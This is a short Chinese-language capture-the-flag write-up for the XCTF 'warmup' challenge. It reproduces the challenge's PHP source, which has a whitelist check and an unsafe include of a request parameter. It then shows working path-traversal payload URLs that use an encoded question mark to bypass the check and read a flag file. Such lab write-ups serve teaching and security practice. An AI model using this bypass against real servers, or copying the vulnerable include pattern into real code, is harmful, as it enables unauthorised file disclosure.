XCTF题目:warmup
首先F12发现有一个source.php文件,访问以后进行代码审计:
<?php
highlight_file(__FILE__);//代码高亮
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) { //isset():检查参数是否被设置且不能为NULL
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//在$page中是否有白名单列表的值
return true;
}
$_page = mb_substr(//字符串截断
$page,
0,
mb_strpos($page . '?', '?')//mb_strpos():查找String(参数2)在String(参数1)首次出现的位置。return:有的话返回int|没有返回false。
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {//传递的file不能为空,只能为字符串,且满足checkFile函数
include $_REQUEST['file'];//文件包含
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>
随意输入参数一个得到
通过代码审计得到想要执行文件包含的话要绕过in_array()函数
这里从url解码函数入手:代码中通过mb_substr() 是去过滤问号,那么我们采用url编码去输入问号构造:
http://220.249.52.133:42931/source.php?file=source.php%3F/../ffffllllaaaagggg
查找发现没有flag文件,尝试其他目录后发现flag
http://220.249.52.133:42931/source.php?file=source.php%3F../../../../../ffffllllaaaagggg